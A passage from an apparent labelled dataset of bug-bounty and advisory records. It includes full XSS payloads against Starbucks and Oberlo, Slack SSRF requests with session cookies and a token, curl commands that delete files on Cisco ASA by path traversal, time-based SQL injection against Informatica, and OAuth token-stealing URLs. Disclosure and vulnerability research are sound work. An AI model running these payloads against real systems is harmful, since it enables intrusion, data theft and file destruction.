`%80` between `%2522` and `%2520`. In fact, you can replace the `%80` with any hex value __beyond `%7f`__ and the payload still works (there's a couple of exceptions throwing \"Bad Request\" errors: `%81`, `%8d`, `%8f`, `%90`, and `%9d`), but values in the range `%00-%7f` get properly filtered out (throwing custom \"Server Error\" pages and 404 pages, 301 and 302 redirect pages, and default 400 Bad Request errors, depending on the value)\n\nSo, this payload works:\n```\nhttps://www.starbucks.com.br/testing%2522%FF%2520accesskey='x'%2520onclick='confirm%601%60'\n```\nbut this one doesn't:\n```\nhttps://www.starbucks.com.br/testing%2522%7F%2520accesskey='x'%2520onclick='confirm%601%60'\n```\n\nThere is a similar behaviour if you put the double-hex digit first.\nThis payload breaks the filter:\n```\nhttps://www.starbucks.com.br/testing%80%2522%2520accesskey='x'%2520onclick='confirm%601%60'\n```\nbut this one doesn't:\n```\nhttps://www.starbucks.com.br/testing%7F%2522%2520accesskey='x'%2520onclick='confirm%601%60'\n```\n\n**Platform(s) Affected:** Firefox 69.0.3\n\n## Steps To Reproduce:\n\n 1. Visit this link on Firefox: \n\n```\nhttps://www.starbucks.com.br/testing%2522%80%2520accesskey='x'%2520onclick='confirm%601%60'\n```\n\n 2. Press CONTROL+ALT+X on Mac, or ALT+SHIFT+X on Windows\n\n## Recommendations for fix\nThe range of hex values `%80-%FF` is breaking the WAF filter, those values need to be filtered out just like the range `%00-%7F` is being filtered out.\n\n## Impact\n\nAs the original report said:\n\"JavaScript is against Starbucks users on multiple critical domains. JavaScript execution results in information theft and an attacker can perform unwanted actions on a victim's behalf\".", "source": "hackerone", "timestamp": "2020-01-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "04935f62cf332134f360", "text": "[Unknown] Bypass of the SSRF protection (Slack commands, Phabricator integration)\n\n# Abstract\r\n\r\nSome Slack features like \"Integrations / Phabricator\" and \"Integration / Slash Commands\" allow users to submit URL that will be accessed by the backend servers. A blacklist tries to forbid access to internal resources (loopback, 10.0.0.0/8, 192.168.0.0/24, ...). This blacklist can be bypassed using \"[::]\" as the hostname. Only services binding all the interfaces and supporting IPv6 can be reached using that vector.\r\n\r\n# Integration features\r\n\r\n## Slack commands\r\n\r\nModify the \"url\" property of the \"/ssrf\" Slack command (with \"http://[::]:25/\" as the destination)\r\n\r\n POST /services/4814366410 HTTP/1.1\r\n Host: agarri.slack.com\r\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n Accept-Encoding: gzip, deflate\r\n Referer: https://agarri.slack.com/services/4814366410?updated=1\r\n Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691\r\n Connection: keep-alive\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 148\r\n \r\n crumb=s-1431286469-c73f073ed6-%E2%98%83&edit_service=1&is_edit=1&command=/ssrf&url=http://[::]:25/&method=GET&in_autocomplete=on&desc=&usage=&label=\r\n\r\nExecute the Slack command \"/ssrf\"\r\n\r\n POST /api/chat.command?t=1431286754 HTTP/1.1\r\n Host: agarri.slack.com\r\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n Accept-Encoding: gzip, deflate\r\n Content-Type: application/x-www-form-urlencoded\r\n Referer: https://agarri.slack.com/messages/general/\r\n Content-Length: 133\r\n Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691\r\n Connection: keep-alive\r\n Pragma: no-cache\r\n Cache-Control: no-cache\r\n \r\n agent=webapp&command=/ssrf&text=&channel=C04QDFHLT&token=xoxs-4829527689-4829527691-4814341714-d0346ec616&set_active=true&_attempts=1\r\n\r\nAccess port TCP/25 on loopback\r\n\r\n HTTP/1.1 200 OK\r\n Access-Control-Allow-Origin: *\r\n Cache-Control: private, no-cache, no-store, must-revalidate\r\n Content-Type: application/json; charset=utf-8\r\n Date: Mon, 11 May 2015 20:28:06 GMT\r\n Expires: Mon, 26 Jul 1997 05:00:00 GMT\r\n Pragma: no-cache\r\n Server: Apache\r\n Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\r\n Vary: Accept-Encoding\r\n X-Accepted-OAuth-Scopes: post\r\n X-Content-Type-Options: nosniff\r\n X-OAuth-Scopes: identify,read,post,client,admin\r\n X-XSS-Protection: 0\r\n Content-Length: 120\r\n Connection: keep-alive\r\n \r\n {\"ok\":true,\"response\":\"220 squid3.tinyspeck.com ESMTP Postfix\\r\\n221 2.7.0 Error: I can break rules, too. Goodbye.\\r\\n\"}\r\n\r\n## Phabricator\r\n\r\nThis vector is very similar to the previous one. If the port is opened, a HTTP 302 code is received. If not, an error 500 is generated. Outside of that, this vector is blind.\r\n\r\nRequest for http://[::]:22/\r\n\r\n POST /services/4836378801 HTTP/1.1\r\n Host: agarri.slack.com\r\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n Accept-Encoding: gzip, deflate\r\n Referer: https://agarri.slack.com/services/4836378801?updated=1\r\n Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691\r\n Connection: keep-alive\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 132\r\n \r\n edit_service=1&edit_label=1&phabricator_url=http://[::]:22/&conduit_user=Yolo&conduit_cert=foobar&", "source": "hackerone", "timestamp": "2016-09-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d1773b1c3ea0b93cc316", "text": "[Path Traversal] Unauthenticated Arbitrary File Deletion (\"CVE-2020-3187\") in ████████\n\n**Description:**\n\nA vulnerability in the interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files.\n\nVulnerable host:\n\n- `https://██████/`\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the system.\n\n## Step-by-step Reproduction Instructions\n\n1) Identifying vulnerable host by send request to `/+CSCOE+/session_password.html`.\n\n```bash\n> curl -skiL \"https://██████/+CSCOE+/session_password.html\"\n```\n\n```\nGET /+CSCOE+/session_password.html HTTP/1.1\nHost: ███████\nUser-Agent: curl/7.47.0\nAccept: */*\n\n```\n\nIf the target is vulnerable, the response header will display `webvpn` header, like:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/plain\nContent-Length: 0\nCache-Control: no-cache\nPragma: no-cache\nConnection: Keep-Alive\nDate: Thu, 10 Sep 2020 04:14:27 GMT\nX-Frame-Options: SAMEORIGIN\nwebvpn: \n\n```\n\n2) Perform exploits to delete files by adding `token` in cookie header request.\n\nFor example, I want to delete this (https://████/+CSCOU+/csco_logo.gif) file.\n\n```bash\n> curl -Ik https://██████████/+CSCOU+/csco_logo.gif\n< HTTP/1.1 200 OK\n< Content-Type: image/gif\n< Content-Length: 2678\n< Cache-Control: max-age=6000\n< Connection: Keep-Alive\n< Date: Thu, 10 Sep 2020 04:19:54 GMT\n< X-Frame-Options: SAMEORIGIN\n```\n\nRequest:\n\n```bash\n> curl -skiL \"https://███████/+CSCOE+/session_password.html\" \\\n -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" \n```\n\n```\nGET /+CSCOE+/session_password.html HTTP/1.1\nHost: ███████\nCookie: token=../+CSCOU+/csco_logo.gif\nUser-Agent: curl/7.47.0\nAccept: */*\n\n```\n\nThe following response is shown:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/plain\nContent-Length: 0\nCache-Control: no-cache\nPragma: no-cache\nConnection: Keep-Alive\nDate: Thu, 10 Sep 2020 04:21:02 GMT\nX-Frame-Options: SAMEORIGIN\nwebvpn: \n\n```\n\nFile deleted successfully:\n\n```bash\n> curl -Ik https://██████████/+CSCOU+/csco_logo.gif\n< HTTP/1.1 404 Not Found\n< Cache-Control: no-cache\n< Pragma: no-cache\n< Connection: Close\n< Date: Thu, 10 Sep 2020 04:21:20 GMT\n< X-Frame-Options: SAMEORIGIN\n```\n\n## Suggested Mitigation/Remediation Actions\n\n- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the system.", "source": "hackerone", "timestamp": "2020-09-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dd453291fc861c5e0d40", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS\n\nHi team ,\nI found a reflected xss on https://app.oberlo.com domain .\n\n##Reproduce :\n* Visit **https://app.oberlo.com/auth?shop=%3C/noscript%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E** in latest version of firefox browser .\n* You will see popup like attacked screenshot : {F485407}\n\n**Tested in Latest version of firefox**\n\n## Impact\n\nAs this is a **auth** so this xss can lead to some serious issues like stealing users **auth** token or stealing browser data/cookies .\n\nBest Regards\n**Prial**", "source": "hackerone", "timestamp": "2019-05-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c16d94a43fbb6a0cb63b", "text": "[Unknown] Java (Maven): Use of insecure protocol to download/upload artifacts\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2020-02-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7c85ea8129af5ef8f8bb", "text": "[SQL Injection] Blind SQL injection at tsftp.informatica.com\n\nThe parameter `refresh_token` sent to the REST path /api/v1/token is vulnerable to blind SQL injection.\n\nCompare the response time of these 2 requests:\n\n```\n$ time curl -X POST \"https://tsftp.informatica.com/api/v1/token\" -H \"accept: application/json\" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"grant_type=refresh_token&refresh_token='; WAITFOR DELAY '0:0:1'--\"\n{\"error\":\"invalid_grant\"}curl -X POST \"https://tsftp.informatica.com/api/v1/token\" -H -H -d 0.02s user 0.01s system 1% cpu 2.048 total\n```\n\nvs\n\n```\n$ time curl -X POST \"https://tsftp.informatica.com/api/v1/token\" -H \"accept: application/json\" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"grant_type=refresh_token&refresh_token='; WAITFOR DELAY '0:0:13'--\"\n{\"error\":\"invalid_grant\"}curl -X POST \"https://tsftp.informatica.com/api/v1/token\" -H -H -d 0.02s user 0.01s system 0% cpu 14.045 total\n```\nand notice that the WAITFOR DELAY command is executed.\n\n## Impact\n\nBlind SQL injection can be exploited to exfiltrate data from the FTP server, bypass authentication or for remote code execution.\n\nI stopped my testing at the time-based PoC because I didn't want to risk accessing sensitive data. If you would like to though, I can continue exploiting this vulnerability to present the above impact in practice, eg by getting the database version string.", "source": "hackerone", "timestamp": "2020-11-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7c0bdfcfedde989ebb58", "text": "[Information Disclosure] [Cross Domain Referrer Leakage] Password Reset Token Leaking to Third party Sites.\n\n**Domain and URL:**\nhttps://werkenbijdefensie.nl\n\n**Summary:**: Password Reset Token Leaking to Third party Sites from the link in the footer\n\n**Description:** Hello,\nI found that the if a user request for a password reset link and open it but don't change the password and click on the Third Parties Sites link in the Footer his Password Reset Token will be leaked by the Server to that third party site and that token can be used by third parties to reset the password and take over the account.\n\n## Steps To Reproduce:\n\n1. Request a password reset token to your email.\n2. When received open the link.\n3. Click the Link to the social media sites like facebook, twitter, youtube and etc.\n4. The Following Request would be sent:\n\n\nGET /werkenbijdefensie HTTP/1.1\nHost: www.facebook.com\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://werkenbijdefensie.nl/het-vizier/wachtwoord-wijzigen.html?token=\nCookie: \nConnection: keep-alive\n\n\nIf you need any further information please be free to ask me.", "source": "hackerone", "timestamp": "2017-09-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c105c465262ebcef7b49", "text": "[Information Disclosure] Blacklist bypass on Callback URLs\n\nIn bug [#47368](https://hackerone.com/reports/47368), I was able to reach private IP addresses via the \"Test Now\" button of the \"Callback URL\" feature. Exploiting this flaw allowed me to reach the metadata server of your outbound proxy (which is, afaik, maintained by Proximo). A [comment](https://hackerone.com/reports/47368#activity-329823) by **aianus** states that callbacks are now restricted *\"from hitting any RFC 6890 IP addresses and networks\"*. This security measure can be bypassed used DNS rebinding.\r\n\r\n Let's consider what happens where an URL like http://test42.sqli.nicob.net/_hostmanager/healthcheck is submitted via the \"Merchants settings\":\r\n1) The hostname \"test42.sqli.nicob.net\" is resolved (twice) by your servers. Then the resulting IP address is checked against a blacklist. If the IP is blacklisted, the message \"Invalid callback URL\" is printed and processing stops\r\n2) If the IP isn't blacklisted, the request is sent to the outbound proxy managed by Proximo. The proxy will resolve \"test42.sqli.nicob.net\" too, without applying a strict blacklist. Then the target URL is accessed.\r\n\r\nIn order to exploit the flaw, we need a custom DNS server. A patched copy of [dnschef](https://thesprawl.org/projects/dnschef/) can be used to send different answers at different times and bypass the filter. The following command will instruct the DNS server to answer with IP #2 twice (an authorized one), then IP #1 (a blacklisted one), then back to the beginning (scheme \"221\").\r\n\r\n```\r\n # ./rebind.py --ip1=127.0.0.1 --ip2=92.243.29.213 --scheme=221\r\n[17:05:08] 54.144.123.243: cooking the response of type 'A' for test42.sqli.nicob.net to 92.243.29.213 [1]\r\n[17:05:08] 54.82.64.0: cooking the response of type 'A' for test42.sqli.nicob.net to 92.243.29.213 [2]\r\n[17:05:09] 54.162.118.12: cooking the response of type 'A' for test42.sqli.nicob.net to 127.0.0.1 [3]\r\n```\r\n\r\nThe filters will see \"92.243.29.213\" and the proxy will see \"127.0.0.1\". And the Web interface will display the index page of the Web service listening on port TCP/80 of the loopback interface of the proxy server. Several ports were identified on loopback (80, 1080, 8000, 9177, ...) and I found some unprotected URL like http://127.0.0.1:80/_hostmanager/healthcheck (which simply displays \"OK\").\r\n\r\nRegarding exploitation:\r\n- the metadata server on 169.254.169.254 is unreachable (that's good for you!)\r\n- the pages found (:9177/status, :80/_hostmanager/healthcheck, :80/check, ...) are unproctected but not sensitive\r\n- I may have missed some URL or web servers listening on loopback (brute-force is hard because of rate limitations)\r\n\r\nAdvice: the outbound proxy should implement a blacklist restricting access to internal and private IP addresses\r\n\r\nNB: this kind of DNS blacklist may be 1) used elsewhere by Coinbase2) exploited more easily in a different scenario", "source": "hackerone", "timestamp": "2016-09-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "684255fff5bcdeac2289", "text": "[Violation of Secure Design Principles] Wordpress unzip_file path traversal\n\n# Summary\nThe Wordpress unzip_file function (https://codex.wordpress.org/Function_Reference/unzip_file) is vulnerable to path traversal when extracting zip files. Extracting untrusted zip files using this function this could lead to code execution through placing arbitrary PHP files in the DocumentRoot of the webserver.\n\n# Analysis\nThe unzip_file function takes a target directory, `$to`, as an argument into which the files in the zip should be extracted. If a maliciously crafted zip file is extracted with a filename starting with the parent directory specifier (`../`) the file will be extracted into the parent of the '$to' argument target directory. Filenames can be crafted in order to place files in any directory which the webserver has write permissions, for example a zip entry with a filename of `../../../../../../../../../../tmp/poc_file` would place the file contents in the '/tmp/poc_file' directory.\n\nThis vulnerability exists both when unzip_file uses PHP's built-in ZipArchive (/wp-admin/includes/file.php:`_unzip_file_ziparchive`) and the 3rd party PclZip (/wp-admin/includes/file.php:`_unzip_file_pclzip`) extraction methods. Neither of these functions check to confirm that the normalised output path is within the `$to` target directory.\n\nAn example zip, 'zip_poc.zip' is attached. If this is extracted with the unzip_file function, for example through the \"Upload Plugin\" admin function or the attached 'poc.php', a file called 'poc_output' will be extracted to the operating system '/tmp' directory. The 'poc.php' attachment shows how the unzip_file function may be used in a wordpress plugin. This Proof of Concept has been tested on Wordpress 4.7.2 running on Ubuntu 14.04 LTS.\n\nIt should be noted that the built-in PHP ZipArchive extractTo method is not vulnerable to this path traversal.\n\nCursory analysis of a number of popular Wordpress plugins suggests that gallery plugins, such as NextGen Gallery, which allow lower privilege non-admin users to upload zips to be extracted would be particularly susceptible to this issue.\n\n# Suggested Remediation\nThe `_unzip_file_ziparchive` and `_unzip_file_pclzip` functions should normalise the output paths of zip file entries ensuring that after normalisation the paths reside within the `$to` argument target directory.", "source": "hackerone", "timestamp": "2020-01-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "57dce5113757efcad772", "text": "phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-01-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8872f7fba6302f0139da", "text": "[Path Traversal] [██████████] — Directory traversal via `/aerosol-bin/███████/display_directory_████_t.cgi`\n\n## Description\n\nOn the domain `https://█████████`, there is a vulnerable endpoint that lets an attacker preview and browse the whole server including all the server's critical directories such as `etc` , `var`, `cache` etc. located in the root directory of this Linux web server.\n\nThis vulnerable endpoint is found on many pages across this web app including:\n\nhttps://www.██████████/aerosol-bin/██████/█████.html_t.cgi?date=20070301\n\n## Proof of concept\n\nPlease visit the following URLs for the POC:\n\n1. https://www.█████████/aerosol-bin/████/display_directory_███_t.cgi?DIR=/etc\n\n███\n\n2. https://www.████████/aerosol-bin/████████/display_directory_████████_t.cgi?DIR=/var\n\n█████\n\n3. https://www.███/aerosol-bin/█████/display_directory_████_t.cgi?DIR=/var/lib\n\n██████\n\n## Fix\n\nTo fix this issue, the `DIR` parameter must be properly validated to show only data in the directories that is supposed to be public and must not go above public folders (public_html) in any case.\n\n## Impact\n\nThis vulnerability can reveal all the information about the web server including any libraries installed, any sensitive directories, potentially allowing an attacker to leverage this to compromise the web server.\n\nThanks,\nUsama", "source": "hackerone", "timestamp": "2020-05-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c8f190d777173a9460fd", "text": "WEMS Enterprise Manager 2.58 (email) Reflected XSS\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5c3543d771f0dd7287a1", "text": "Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "30266ab71d6fb8ee2acd", "text": "[Unknown] Malformed ECParameters causes infinite loop\n\nMalformed ECParameters causes infinite loop (CVE-2015-1788)\n===========================================================\n\nSeverity: Moderate\n\nWhen processing an ECParameters structure OpenSSL enters an infinite loop if the curve specified is over a specially malformed binary polynomial field.\n\nThis can be used to perform denial of service against any system which processes public keys, certificate requests or certificates. This includes TLS clients and TLS servers with client authentication enabled.\n\nThis issue affects OpenSSL versions: 1.0.2 and 1.0.1. Recent 1.0.0 and 0.9.8 versions are not affected. 1.0.0d and 0.9.8r and below are affected.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2b\nOpenSSL 1.0.1 users should upgrade to 1.0.1n\nOpenSSL 1.0.0d (and below) users should upgrade to 1.0.0s\nOpenSSL 0.9.8r (and below) users should upgrade to 0.9.8zg\n\nThis issue was reported to OpenSSL on 6th April 2015 by Joseph Birr-Pixton. The fix was developed by Andy Polyakov of the OpenSSL development team.\n\nhttp://jbp.io/2015/06/11/cve-2015-1788-openssl-binpoly-hang/", "source": "hackerone", "timestamp": "2015-06-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "04ae06ab7f6d899a702f", "text": "PolarisCMS (blog.aspx) Remote URI Based Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-08-05", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "156ca02178753aaafbb1", "text": "FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-06-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e00aa5e0ca61b9e33280", "text": "[Path Traversal] Unauthenticated Arbitrary File Deletion (CVE-2020-3187)\n\n## Summary:\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences.\n\n\n## Vulnerable Endpoint:\n```\nhttps://129.0.176.5/+CSCOE+/session_password.html\n```\n\n## Steps To Reproduce:\n\n\n 1. First I performed a curl request to validate that /session_password.html gave a 200 response.\n 2. Example to delete logo file \"/+CSCOU+/csco_logo.gif\".\n\n```\ncurl -k -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" https://129.0.176.5/+CSCOE+/session_password.html\n```\n\n## WHOIS\n{F1113009}\n\n## NOTE: No destructive behavior was performed on target.\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the system.", "source": "hackerone", "timestamp": "2021-08-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "43be761d44d74e8988e6", "text": "[Reddit Darknet Markets] [Vendor Review] Pelican's LSD\n\nBut how long does it take to package lol", "source": "gayanku", "timestamp": "2016-03-27", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "de0f6cbbaf1dfdf8405b", "text": "V-SOL GPON/EPON OLT Platform v2.03 Link Manipulation Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f6f78d934ba5a8950505", "text": "[Unknown] Improper validation of unicode characters #3\n\nHi!\n\nThis issue also exists at **Translations**.\n\n####Link: https://demo.weblate.org/translate/hello/master/gl/?type=all\n\n##Screenshots\n{F197895}\n{F197896}\n\nShuaib.", "source": "hackerone", "timestamp": "2017-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "eea0604e1f8d5f36e7a8", "text": "[Path Traversal] Ability to login to the Nexus Repo Manager from https://nexus.imgur.com/\n\nHello Imgur Administrators,\n\nI am not sure if this falls in your scope but I wanted to alert you that your Nexus Repository Manager can be accessed through https://nexus.imgur.com/\nUsually the default user/pass for the NRM are admin/admin123 but there is an alternative way to login using the below default credentials.\nuser: anonymous\npass: anonymous\n\nI was able to login and I got access to check all the repositories available. I uploaded the attached video as a proof of traversal.\nKindly arrange to remove the user anonymous or change its password & limit the access to the Nexus Repo Manager site https://nexus.imgur.com/\n\n## Impact\n\nThe attacker can manage to proxy, collect, and manage your dependencies (delete components & Analyze applications).", "source": "hackerone", "timestamp": "2018-12-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dee278c2ed95a2e84ffc", "text": "[Information Disclosure] Uninitialized read in gdImageCreateFromXbm\n\nThis bug is present in gdImageCreateFromXbm method of ext/gd/libgd/gd_xbm.c file.\nThis method contains below mentioned lines.\n```c\n...\nunsigned int b;\n...\nsscanf(h, \"%x\", &b);\n\t\tfor (bit = 1; bit <= max_bit; bit = bit << 1) {\n\t\t\tgdImageSetPixel(im, x++, y, (b & bit) ? 1 : 0);\n...\n```\n\nSo when sscanf method is not able to read a hex value, \"b\" variable will contain uninitialized data.\nBug Report : https://bugs.php.net/bug.php?id=77973\nPHP Version : 7.1.29\nCVE-ID : [2019-11038](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11038)\n\n## Impact\n\nUninitialized data may leak data from stack memory.", "source": "hackerone", "timestamp": "2020-10-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1cfa27fa0913c1e3b182", "text": "[Business Logic Errors] Running 2 accounts with a single email [Part 2]\n\nFollowing the fix on #224072, I decided to try this in another way and it worked!\n\n##Reproduction Steps\n1. Login with Github on Browser1 and set a password to it.\n- With another email, signup on Weblate on Browser2\n- In the new account on Browser2, do the following:\n> Confirm email and Set a Password\nAdd a Google Account with the same email used to signup Github\nNow, disconnect the email used to signup\nSo, it the email is default to same email on the other account\n\n4. Reload both browsers to confirm, https://hosted.weblate.org/accounts/profile/#account\n- Logout any of the browsers\n- Trying to login with the email and any of the set passwords pops an **Internal Server Error**\n\nAccompanying screenshots are attached below.", "source": "hackerone", "timestamp": "2017-10-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4eb6d29b48d6a66f1eab", "text": "[Violation of Secure Design Principles] Content Security Policy not applied to error pages at multiple HackerOne endpoints\n\nHackerOne CSP \"script-src\" includes \"unsafe-inline\" bypass via % and %\"\n-----\n\n\n**Summary & Description**\n\n>We utilize a strict Content Security Policy and a safe-by-default templating language to effectively neutralize Cross-Site Scripting (XSS).\n\n>We encrypt all network communications with SSL/TLS accompanied with Perfect Forward Secrecy and HTTP Strict Transport Security (HSTS), including being HSTS preloaded in most major browsers.\n\nbase in my finding i found that there was a missing or not included `Content Security Policy` in your website. i bypass a simple `%` or `%\"` to reproduce a XSS. like what you said `We utilize a strict Content Security Policy and a safe-by-default templating language to effectively neutralize Cross-Site Scripting (XSS).` and `We encrypt all network communications with SSL/TLS accompanied with Perfect Forward Secrecy and HTTP Strict Transport Security (HSTS), including being HSTS preloaded in most major browsers.` but in this case i can bypass via inspect element.\n\nwhy am i getting this error or a blank page ? with a simple `%` or `%\"` at the and point of a url ? i can bypass your `Content Security Policy`\n\n\n### Steps To Reproduce\n\nat first if you `Inspect element` and `Edit a HTML` at any line you will getting this error\n\n>Refused to execute inline event handler because it violates the following Content Security Policy directive: \"script-src 'self' www.google-analytics.com\". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.\n\nwhich is good, but in my case, i can bypass your `Content Security Policy` with `%` or `%\"` at the end point of a any url\n\n\n1. Go to any HackerOne Subdomains\n2. add `%` or `%\"` at the end point\n3. Inspect element and `Edit as HTML` at any line\n4. paste the payload, ``\n5. now i can bypass your `Content Security Policy`\n\nProof of Concept Video\nhttps://www.youtube.com/watch?v=zMjTgpm-dLE\n\n**Tested Websites**\n\t\n>https://hackerone-attachments.s3.amazonaws.com\nhttps://api.hackerone.com\nhttps://hackerone.com\nhttps://www.hackerone.com\nhttps://profile-photos.hackerone-user-content.com\n\n\n\n**Reference**\nhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src\nhttps://www.websec.be/blog/cspreporting/\n\n\n\n**Platforms and Tested Browser**\n\nTested in Windows 7 and 10\nGoogle Chrome latest Version\nMicrosoft Edge 40.15063.0.0\n\n**Regards:**\nWH-PH", "source": "hackerone", "timestamp": "2017-12-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e0c3f6ea25cd92795636", "text": "LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-11-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f01a0d7cde793116adbb", "text": "[Open Redirect] OAuth Stealing Attack (New)\n\nHi Evan,\r\n\r\nI found a new and more dangerous way to steal phabricator facebooks oauth tokens,codes,\r\n\r\nIn this case, I exploited the behavior of Phabricator OAuth Dialog,\r\n\r\nIf you provide a differnet scope in phabricator OAuth Dialog (https://secure.phabricator.com/oauthserver/auth/?redirect_uri=http://files.nirgoldshlager.com&response_type=code&client_id=PHID-OASC-oyfqtnanxsukiw5lsnce&scope=ggg) you will be redirected automatically to the attacker site, In this case, I exploited this behavior to exploit the Phabricator Facebook. Disqus OAuth Providers\r\n\r\nPoC for Facebook:\r\n\r\nhttps://www.facebook.com/dialog/oauth?client_id=184510521580034&response_type=token&redirect_uri=https://secure.phabricator.com/oauthserver/auth/?redirect_uri=http://files.nirgoldshlager.com%26response_type=code%26client_id=PHID-OASC-oyfqtnanxsukiw5lsnce%26scope=ggg\r\n\r\nPoC for Disques:\r\n\r\nhttps://disqus.com/api/oauth/2.0/authorize/?client_id=pGsV2eD61zrctO8A9n9QAA41dRASTXxSBFgs4nieqiwviSroKP5UV1wutlHp8d5y&scope=read&redirect_uri=https://secure.phabricator.com/oauthserver/auth/?redirect_uri=http://files.nirgoldshlager.com%26response_type=code%26client_id=PHID-OASC-oyfqtnanxsukiw5lsnce%26scope=ggg&response_type=token\r\n\r\nETC...\r\n\r\nThe user don't need to be login to perform this kind of attack, it works only via one click, no any continue or another intercation, This attack also need to works on other provides in Phabricator via redirect_uri.\r\n\r\nPoC Video:\r\n\r\nhttps://drive.google.com/file/d/0B2-5ltUODX1La0Vjc0ZuemMzRTQ/edit?usp=sharing", "source": "hackerone", "timestamp": "2014-04-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7ff7a23981c57683b014", "text": "Antamedia Internet Cafe Software 7.1 Insecure Permissions/DLL Loading\n\nSeverity: 